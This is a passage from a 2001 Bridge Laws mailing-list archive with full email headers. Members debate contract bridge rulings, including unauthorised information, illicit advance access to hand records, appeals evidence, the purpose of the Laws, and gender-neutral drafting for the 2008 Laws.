be asked to jeopardize its rights by suggesting a proposed contract. -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 10 09:19:59 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f09MJlu03795 for bridge-laws-outgoing; Wed, 10 Jan 2001 09:19:47 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from granger.mail.mindspring.net (granger.mail.mindspring.net [207.69.200.148]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f09MJft03788 for ; Wed, 10 Jan 2001 09:19:41 +1100 (EST) Received: from mindspring.com (user-38ldlni.dialup.mindspring.com [209.86.214.242]) by granger.mail.mindspring.net (8.9.3/8.8.5) with ESMTP id RAA10679 for ; Tue, 9 Jan 2001 17:19:35 -0500 (EST) Message-ID: <3A5B8FAE.1010EEDB@mindspring.com> Date: Tue, 09 Jan 2001 14:24:46 -0800 From: "John R. Mayne" X-Mailer: Mozilla 4.5 [en] (Win98; I) X-Accept-Language: en MIME-Version: 1.0 CC: Bridge Laws Mailing List Subject: Re: Illicit information [was: Re: [BLML] What is suggested ?] References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Gordon Bower wrote: > > On Mon, 8 Jan 2001, John R. Mayne wrote: > > > > A second problem exists. Suppose I deliberately arrange to receive the > > hand records of the day's events prior to those events taking place, and > > thus receive illicit information. I then play and use the information > > culled from the hand records to maximize my results. > > > > What law(s) have I broken? > > It is a little bit of a stretch, but I would try 73B2. Way more than a little bit. 73B2 talks about a partnership exchanging information. I am inclined to > think of reading written material as a 'method of communication' even if > you don't choose to reply to the author. If you've said a single word to > partner about it, the case is clear. If you haven't let him in on the > scam.... well... I fall back on the old "the headings are not part of the > laws" proviso to justify my overlooking the "between partners" in the > header of 73B. > > You could try 74A2, too. I would be both annoyed and embarrassed if one of > my opponents was playing double-dummy instead of stuggling along like I > was. OK. I won't tell my opponents, and I'll disguise my actions. Problem solved! > > And even if you do claim to have violated no law, I am sure the director > will use 90 or 91 or both to toss you out on your ear as soon as he hears > what you have done and ask questions later. 90B8 indicates you don't have > to actually break a law to get in trouble. I'll follow the director's rulings. I'm not telling him, either. > > It is interesting that L16B refers only to accidentally received > information. If it didn't, you would simply appoint a substitute for the > entire evening, i.e., not let the person who saw the hands play at all > that night. > > The implication, I think, is that the lawmakers didn't want to come right > out and stay "here's what to do to stop a cheat." I agree that stopping > cheats is the business of CD&E committtees and the regulations of SOs, > rather than the laws. I think this is more an oversight of the laws. The prelude to the rubber bridge laws (at least the old version I've seen) says something like that; it says it is to maintain proper procedure and that ostracism is the remedy for scoundrels, but the Laws of Duplicate say no such thing. 73B2 clearly addresses outright cheating. I submit that either a specific discussion of non-partnership illicit information, or a general discussion of the related issues, would be appropriate in the laws. 6D1 is a noble effort for my problem (brough up initially by A.G., I think.) Of course, I might avoid that by consulting the hand records mid-hand; this violates the spirit, but not the letter of 74C5. It also lacks the proper degree of punishment for such behavior. Of course, I agree that if I actually do this, I should immediately report for summary execution. Anyone who does this and tries to argue that it's not illegal may be right at some level, but should get the instructions to turn face down, and look into the basket. --JRM, guillotine operator. -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 10 09:57:52 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f09MvE507624 for bridge-laws-outgoing; Wed, 10 Jan 2001 09:57:14 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from bertha.au.csc.net (bertha.au.csc.net [203.0.101.101]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f09Mv9t07620 for ; Wed, 10 Jan 2001 09:57:09 +1100 (EST) Received: from c3w-fwb (c3w-fwb [203.0.101.98]) by bertha.au.csc.net (8.9.1a/8.9.1) with SMTP id JAA11433 for ; Wed, 10 Jan 2001 09:50:02 +1100 (EST) From: richard.hills@immi.gov.au Received: from c3w-notes ([20.18.100.39]) by C3W-FWB.au.csc.net; Wed, 10 Jan 2001 09:51:07 +0000 (EST) Subject: Re: [BLML] Ruckus at the Club To: bridge-laws@rgb.anu.edu.au.C3EXTERNAL.gov.au Date: Wed, 10 Jan 2001 09:53:39 +1000 Message-ID: X-MIMETrack: Serialize by Router on C3External/C3X(Release 5.0.3 (Intl)|21 March 2000) at 10/01/2001 09:56:13 AM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk David Stevenson wrote, in rebuttal to Ben Schelen: >>I do not agree because L73C does not say that; >>it only says that a player must avoid taking any >>advantage of it.. > If a player must avoid doing something, failure >to avoid is an infraction and can be drawn to the >Director's attention. >>On the contrary L16A is a specific law and according >>to lawyers would overrule a general law. I agree, L16A2 specifically refers to an opponent summoning the TD. I suspect that this was a blind spot by the drafters of the current Laws, who did not imagine that a player would want to call the TD against their own interests. That is why the thrust of my original posting was a recommmendation for an appropriate revision of L16A2 in the next Laws. > I do not believe that. First, why should "lawyers" >be involved? Second, breaches of L73C are dealt with >under L73F. >>On the other hand summoning the TD would give partner >>UI that you received and understood the UI. > I am not suggesting summoning the Director during the >hand necessarily - the original post suggested it would >not be acceptable to get the TD at the end of the hand. >>Besides that, summoning the TD will not help you to make >>the right LA. After summoning the TD your call must be >>treated as suspicious as without summoning! For the record, my side declared the hand, and I called for the TD after the auction was over, but before the opening lead. I agree that had my side been the defenders, the appropriate timing would be to summon the TD at the conclusion of play. This timing of TD calling is what is required for MI under L75. I believe that it is entirely appropriate to extend this timing of TD calls to auction-related possible breaches of L16A2 in the 2008 Laws. > That's very unfair. The player concerned was trying to >be fair to the opponents, not to gain from calling the TD. >Many people play that way. >>So according to me L16A is correct and well-considered in >>this respect. > No, you cannot ignore L73 in this way. IMHO, it seems that when the Proprieties were merged into the Laws proper, some unnecessary overlap and discrepancies were created. However, this is not the most urgent fix the 2008 Laws require. Best wishes R -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 10 10:18:05 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f09NHp807704 for bridge-laws-outgoing; Wed, 10 Jan 2001 10:17:51 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from swarm.mosquitonet.com (swarm.mosquitonet.com [206.129.11.16]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f09NHjt07700 for ; Wed, 10 Jan 2001 10:17:46 +1100 (EST) Received: from bigbyte.mosquitonet.com (bigbyte.mosquitonet.com [206.129.11.2]) by swarm.mosquitonet.com (8.9.1/8.9.3) with SMTP id OAA28184 for ; Tue, 9 Jan 2001 14:31:57 -0900 Date: Tue, 9 Jan 2001 14:18:01 -0900 (AKST) From: Gordon Bower To: Bridge Laws Mailing List Subject: Re: Illicit information [was: Re: [BLML] What is suggested ?] In-Reply-To: <3A5B8FAE.1010EEDB@mindspring.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk > > And even if you do claim to have violated no law, I am sure the director > > will use 90 or 91 or both to toss you out on your ear as soon as he hears > > what you have done and ask questions later. 90B8 indicates you don't have > > to actually break a law to get in trouble. > > I'll follow the director's rulings. I'm not telling him, either. The reason I pointed out 90B8 was to indicate that the presence of a SO regulation (about hand record handling and/or about how to deal with a cheat) is adequate to let the director take action, and I strongly suspect all SOs of any significance have a rule against cheating. That is, I don't think adding this to the laws will have any impact. (You could specify a set penalty for cheating, maybe, but once you are removed from the game the "sentencing aspect" seems better left to a disciplinary hearing than to a director's ruling.) GRB -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 10 10:44:08 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f09NheX07800 for bridge-laws-outgoing; Wed, 10 Jan 2001 10:43:40 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from anchor-post-32.mail.demon.net (anchor-post-32.mail.demon.net [194.217.242.90]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f09NhXt07796 for ; Wed, 10 Jan 2001 10:43:34 +1100 (EST) Received: from probst.demon.co.uk ([158.152.214.47]) by anchor-post-32.mail.demon.net with smtp (Exim 2.12 #1) id 14G8QL-000GfI-0W for bridge-laws@rgb.anu.edu.au; Tue, 9 Jan 2001 23:43:29 +0000 Message-ID: Date: Tue, 9 Jan 2001 01:56:31 +0000 To: bridge-laws@rgb.anu.edu.au From: "John (MadDog) Probst" Reply-To: "John Probst" Subject: Re: [BLML] Computer References: In-Reply-To: MIME-Version: 1.0 X-Mailer: Turnpike Integrated Version 4.02 U Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk In article , David Stevenson writes >David Stevenson writes >> I returned from my Year End Congress to find my computer is down. I can >>read emails from my backup but reading BLML wihout threading is impossible! >>I expect the computer back within 7 to 14 days. >> >> Emails direct to hotmail will reach me easily. In fact I can read other >>emails but if it is urgent it is better to write to both eddresses/ > > Computer back - thank goodness! > Had I'd been the computer, I'd have stayed away for a month :)) Welcome back anyway, (and btw I racked up a sneaky 0.70 ACBL points while you weren't looking last week). PS Why do references to Drury appear in level 4 and refer to Level 2? Are we saying Drury (fit) is level 2 and Drury (I feel like bidding) is level 4? -- John (MadDog) Probst London ACBL Game fax 20 8980 4947 451 Mile End Road ChienFou on okb London E3 4PA john@probst.demon.co.uk +44-(0)20 8983 5818 Another 0.21 mps ahead www.probst.demon.co.uk -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 10 13:41:50 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0A2eqP09488 for bridge-laws-outgoing; Wed, 10 Jan 2001 13:40:52 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from anchor-post-34.mail.demon.net (anchor-post-34.mail.demon.net [194.217.242.92]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0A2ect09414 for ; Wed, 10 Jan 2001 13:40:39 +1100 (EST) Received: from blakjak.demon.co.uk ([194.222.6.72]) by anchor-post-34.mail.demon.net with smtp (Exim 2.12 #1) id 14GBBd-000HXF-0Y for bridge-laws@rgb.anu.edu.au; Wed, 10 Jan 2001 02:40:31 +0000 Message-ID: <3PPHxaAmL8W6EwGd@blakjak.demon.co.uk> Date: Wed, 10 Jan 2001 02:03:18 +0000 To: bridge-laws@rgb.anu.edu.au From: David Stevenson Reply-To: David Stevenson Subject: Re: [BLML] self-serving ? References: <000e01c071b0$372617c0$0718073e@pbncomputer> In-Reply-To: <000e01c071b0$372617c0$0718073e@pbncomputer> MIME-Version: 1.0 X-Mailer: Turnpike Integrated Version 4.02 U Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk David Burn writes >Tim West-Meads wrote: >> David Burn wrote: >> >> > If what you are trying to say is that Americans should not label a >> > statement "self-serving" and then ignore it, than of course you are >> > right. No one should ignore any statement, without trying to verify >it. >> > But if it cannot be verified, then it should be ignored >> >> Which I found most depressing. The TD/AC should be entitled (but not >> obliged) to accept any statement at face value if they so desire. > >Not really. If that happened, then rulings would depend on the >persuasiveness of the appellants and the gullibility of the director or >appeals committee. This should not happen, which is why only statements >that can be objectively corroborated should be admitted as evidence. If >we have TDs deciding whether or not to accept statements at face value >on the basis of no evidence, then we will have no hope of having the >Laws administered with any kind of fairness or consistency. But this is not no evidence: the evidence is there, but you are saying it is inadequate. Good TDs and ACs have always prided themselves on knowing what is happening, and I would not like to see that disappear. -- David Stevenson Liverpool, England, UK For help in rulings see the International Bridge Laws Forum at http://blakjak.com/iblf.htm -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 10 13:41:50 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0A2eqn09483 for bridge-laws-outgoing; Wed, 10 Jan 2001 13:40:52 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from anchor-post-34.mail.demon.net (anchor-post-34.mail.demon.net [194.217.242.92]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0A2ebt09413 for ; Wed, 10 Jan 2001 13:40:39 +1100 (EST) Received: from blakjak.demon.co.uk ([194.222.6.72]) by anchor-post-34.mail.demon.net with smtp (Exim 2.12 #1) id 14GBBe-000HXE-0Y for bridge-laws@rgb.anu.edu.au; Wed, 10 Jan 2001 02:40:32 +0000 Message-ID: Date: Wed, 10 Jan 2001 02:08:09 +0000 To: bridge-laws@rgb.anu.edu.au From: David Stevenson Reply-To: David Stevenson Subject: Re: [BLML] self-serving ? References: <001801c07535$764936c0$729f7ad5@pbncomputer> In-Reply-To: <001801c07535$764936c0$729f7ad5@pbncomputer> MIME-Version: 1.0 X-Mailer: Turnpike Integrated Version 4.02 U Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk David Burn writes >Tim West-Meads wrote: >> > > Obviously a statement like "I would always bid that way" is very >unlikely to be accepted. >> > Yes, but "very unlikely" should be "never" (otherwise inconsistency >will >> > once again supervene). Of course, if the appellant can show evidence >> > that he has in the past frequently bid "that way", then his >statement >> > may stand a good chance of being accepted. >> >> If the AC knows, through significant experience against him, "that the >> appellant would always bid that way" they can accept it. >No, they can't. What would anyone think of an AC ruling that said, in >effect: "Well, nobody else would have bid X, but we know this chap very >well and we know that he would always have bid X"? Not very much, but then, that is irrelevant, is it not? What happens is that we get a situation where a certain number of people would bid this way, and we want to know whether the number of people is enough to allow something. [s] >Words rather fail me. Seems unlikely. PWD -- David Stevenson Liverpool, England, UK For help in rulings see the International Bridge Laws Forum at http://blakjak.com/iblf.htm -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 10 13:41:50 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0A2er509497 for bridge-laws-outgoing; Wed, 10 Jan 2001 13:40:54 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from anchor-post-34.mail.demon.net (anchor-post-34.mail.demon.net [194.217.242.92]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0A2eet09432 for ; Wed, 10 Jan 2001 13:40:41 +1100 (EST) Received: from blakjak.demon.co.uk ([194.222.6.72]) by anchor-post-34.mail.demon.net with smtp (Exim 2.12 #1) id 14GBBg-000HXH-0Y for bridge-laws@rgb.anu.edu.au; Wed, 10 Jan 2001 02:40:37 +0000 Message-ID: Date: Wed, 10 Jan 2001 02:14:29 +0000 To: bridge-laws@rgb.anu.edu.au From: David Stevenson Reply-To: David Stevenson Subject: Re: [BLML] self-serving ? References: <67378DEA146DD21194C20000F87B08BA01B8B74B@fdwag002s.fd.agro.nl> In-Reply-To: <67378DEA146DD21194C20000F87B08BA01B8B74B@fdwag002s.fd.agro.nl> MIME-Version: 1.0 X-Mailer: Turnpike Integrated Version 4.02 U Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Kooijman, A. writes > >> >> > > > The notion that "the goal of the current laws is equity" is at >> best a doubtful one, since it is nowhere stated in those laws. >> >> > > The following is from the Scope of the Laws: "The Laws are >> primarily designed not as punishment for irregularities, but rather as >> redress for damage." >> >> > > What else does this statement mean, if not that the >> primary goal of >> the Laws is equity? >> >David Burn: > >> It does not actually mean anything. Some Laws provide redress for >> damage, other Laws punish irregularities. There is no indication that >> the Laws have in fact been "designed" one way or the other. > > >We need a rather optimistic (or poor) reader to find no indication for >either equity based or punishment based. They certainly read more punishment >based to me. With equity struggling to stay above the ground level. > >As you probably know we are starting to think about a new edition of our >laws. Should we change the scope or the laws? Be aware that changing the >scope is somewhat easier. I am sick and tired of people quoting the Scope for no reason except to interpret a particular Law in a way that the Law does not say. Let us alter the scope, to say, the Laws are primarily to provide redress, and secondarily to penalise. -- David Stevenson Liverpool, England, UK For help in rulings see the International Bridge Laws Forum at http://blakjak.com/iblf.htm -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 10 15:52:28 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0A4mtm06378 for bridge-laws-outgoing; Wed, 10 Jan 2001 15:48:55 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from bertha.au.csc.net (bertha.au.csc.net [203.0.101.101]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0A4mnt06343 for ; Wed, 10 Jan 2001 15:48:50 +1100 (EST) Received: from c3w-fwb (c3w-fwb [203.0.101.98]) by bertha.au.csc.net (8.9.1a/8.9.1) with SMTP id PAA25307 for ; Wed, 10 Jan 2001 15:41:42 +1100 (EST) From: richard.hills@immi.gov.au Received: from c3w-notes ([20.18.100.39]) by C3W-FWB.au.csc.net; Wed, 10 Jan 2001 15:42:48 +0000 (EST) Subject: Re: [BLML] Bad Language To: bridge-laws@rgb.anu.edu.au.C3EXTERNAL.gov.au Date: Wed, 10 Jan 2001 15:45:19 +1000 Message-ID: X-MIMETrack: Serialize by Router on C3External/C3X(Release 5.0.3 (Intl)|21 March 2000) at 10/01/2001 03:47:54 PM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Traditionally, the English generic (undefined gender) third person singular is *he* or *his*. A few decades ago, Brian Glubok used the construction s/he in an answer to a problem in the Bridge World's MSC. The then MSC Director, Alan Truscott, deprecated such an inelegant neologism. Edgar Kaplan also supported old-fashioned sexist grammar. One of Kaplan's reasons for stodginess was that there were no generally accepted alternative words to replace the generic use of *he* and *his*. However, since that time, a consensus has developed amongst non-discriminatory grammarians on what the gender-neutral generic third person singular words should be. *You* and *your* are not only generic terms for second person singular, but are also the generic terms for second person plural. Therefore, the new logical extension by these progressive grammarian is to make *they* and *their* not only generic third person plural, but also the generic third person singular terms. The 1998 Laws are peppered with wince-making uses of *he* and *his*. Writing the 2008 Laws in non-sexist language might require careful wording from the drafting committee (to prevent ambiguity between singular and plural), but would send an important symbolic message. Best wishes R -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 10 15:53:50 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0A4ri308216 for bridge-laws-outgoing; Wed, 10 Jan 2001 15:53:44 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from mail.pinehurst.net (mail.pinehurst.net [12.4.96.6]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0A4rbt08177 for ; Wed, 10 Jan 2001 15:53:38 +1100 (EST) Received: from mom (spmax4-41.connectnc.net [12.4.97.105]) by mail.pinehurst.net (8.9.3/8.9.3) with SMTP id XAA54164 for ; Tue, 9 Jan 2001 23:53:33 -0500 (EST) (envelope-from nancy@pinehurst.net) Message-ID: <003101c07ac1$bd6714a0$6961040c@mom> Reply-To: "Nancy" From: "Nancy" To: "Bridge Laws" Subject: [BLML] earth Date: Tue, 9 Jan 2001 23:56:47 -0500 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_002E_01C07A97.D3B6D940" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk This is a multi-part message in MIME format. ------=_NextPart_000_002E_01C07A97.D3B6D940 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Perhaps this is not the place for this, but I think it is. This is an = awesome picture of all of us on bridge night. Enjoy!!!! Nancy Worth sharing --- >=20 >=20 > Take a look at this picture -- pretty impressive! >=20 > ******************************************** > This is a link to an incredible evening picture (images captured and > merged together of evening lights) of the whole earth from the Boeing > built Space Station. Be sure to scroll to the right, as well as down, = to >=20 > view the entire picture! >=20 > http://antwrp.gsfc.nasa.gov/apod/image/0011/earthlights_dmsp_big.jpg >=20 >=20 ------=_NextPart_000_002E_01C07A97.D3B6D940 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable

Perhaps this is not the place = for this, but=20 I think it is.  This is an awesome picture of all of us on bridge=20 night.  Enjoy!!!! Nancy
 
Worth sharing ---
>
>
> Take a look at this = picture --=20 pretty impressive!
>
>=20 ********************************************
> This is a link to = an=20 incredible evening picture (images captured and
> merged together = of=20 evening lights) of the whole earth from the Boeing
> built Space = Station.=20 Be sure to scroll to the right, as well as down, to
>
> = view the=20 entire picture!
>
> http://antwrp.gsfc.nasa.gov/apod/image/0011/earthlights_dmsp_big.jpg=
>=20
>
------=_NextPart_000_002E_01C07A97.D3B6D940-- -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 10 16:51:14 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0A5oeV28637 for bridge-laws-outgoing; Wed, 10 Jan 2001 16:50:40 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from scaup.prod.itd.earthlink.net (scaup.prod.itd.earthlink.net [207.217.121.49]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0A5oXt28600 for ; Wed, 10 Jan 2001 16:50:34 +1100 (EST) Received: from ivillage (sdn-ar-002kslawrP268.dialsprint.net [158.252.182.70]) by scaup.prod.itd.earthlink.net (EL-8_9_3_3/8.9.3) with ESMTP id VAA24084 for ; Tue, 9 Jan 2001 21:50:29 -0800 (PST) Message-ID: <200101092349030800.0321272A@mail.earthlink.net> In-Reply-To: References: X-Mailer: Calypso Version 3.10.03.02 (3) Date: Tue, 09 Jan 2001 23:49:03 -0600 From: "Brian Baresch" To: bridge-laws@rgb.anu.edu.au Subject: Re: [BLML] Bad Language Content-Type: text/plain; charset="us-ascii" Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk >However, since that time, a consensus has developed >amongst non-discriminatory grammarians on what the >gender-neutral generic third person singular words should >be. I wouldn't go that far. I favor the generic "they", myself, and I'm glad it's gaining ground, but it's still some ways from a consensus. An additional alternative for the drafters that also avoids ambiguity is to alternate "he" and "she" in some sensible way -- by law or by section, for example. Of course, by 2007, who knows what the most widely accepted format will be? Best regards, Brian Baresch, baresch@earthlink.net Lawrence, Kansas, USA Editing, writing, proofreading Only YOU can prevent narcissism. -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 10 19:43:46 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0A8g4W29505 for bridge-laws-outgoing; Wed, 10 Jan 2001 19:42:04 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from scooby.lineone.net (doggy.lineone.net [194.75.152.224]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0A8fqt29447 for ; Wed, 10 Jan 2001 19:41:53 +1100 (EST) Received: from dodona (host213-1-43-22.host.btclick.com [213.1.43.22]) by scooby.lineone.net (8.9.3/8.9.3) with SMTP id IAA19672; Wed, 10 Jan 2001 08:41:27 GMT Message-ID: <004901c07ae1$601cbbe0$162b01d5@dodona> From: "Grattan Endicott" To: "Hirsch Davis" , "BLML" References: <005e01c07a18$92ed4180$0200000a@mindspring.com> Subject: Re: [BLML] What is suggested ? Date: Wed, 10 Jan 2001 07:55:13 -0000 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2615.200 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Grattan Endicott 'Suspicions amongst thoughts are like bats amongst birds, they ever fly by twilight.' - Francis Bacon. <===> ----- Original Message ----- From: Hirsch Davis To: BLML Sent: Tuesday, January 09, 2001 8:45 AM Subject: Re: [BLML] What is suggested ? > > ----- Original Message ----- > From: > To: > Sent: Monday, January 08, 2001 6:03 PM > Subject: Re: [BLML] What is suggested ? > > > > > > Kaplan stated that *if* the AC deemed that the doubler > > had deliberately hesitated to prevent partner pulling, > > then a mere score adjustment was not appropriate, > > but rather a disciplinary penalty. > > > +=+ If this is what had happened there were too distinct offences: (a) the deliberate hesitation, and (b) using the UI conveyed. Each has its separate treatment by the Director. ~ Grattan ~ +=+ -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 10 19:43:49 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0A8g4n29508 for bridge-laws-outgoing; Wed, 10 Jan 2001 19:42:04 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from scooby.lineone.net (doggy.lineone.net [194.75.152.224]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0A8frt29448 for ; Wed, 10 Jan 2001 19:41:53 +1100 (EST) Received: from dodona (host213-1-43-22.host.btclick.com [213.1.43.22]) by scooby.lineone.net (8.9.3/8.9.3) with SMTP id IAA19682 for ; Wed, 10 Jan 2001 08:41:29 GMT Message-ID: <004a01c07ae1$61063180$162b01d5@dodona> From: "Grattan Endicott" To: "Bridge Laws Discussion List" References: <67378DEA146DD21194C20000F87B08BA01B8B762@fdwag002s.fd.agro.nl> Subject: Re: [BLML] What is suggested ? Date: Wed, 10 Jan 2001 08:42:06 -0000 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2615.200 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Grattan Endicott 'Suspicions amongst thoughts are like bats amongst birds, they ever fly by twilight.' - Francis Bacon. <===> ----- Original Message ----- From: Kooijman, A. To: 'Eric Landau' ; Bridge Laws Discussion List Sent: Tuesday, January 09, 2001 8:10 AM Subject: RE: [BLML] What is suggested ? > May I point to 16A2 where it says: an action that could have been suggested > when there was a logical alternative. Here the word logical makes sense to > me. > +=+ The lawmakers considered that if a player took an action he must be deemed to consider it logical, and should be treated on the basis of his judgement in that respect. The questions for the Director are: Was it suggested by the UI? Were there logical alternatives to it? The question whether it was a logical action is settled by the fact that the player has made it - for the player in question it was. ~ Grattan ~ +=+ -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 10 21:00:15 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au 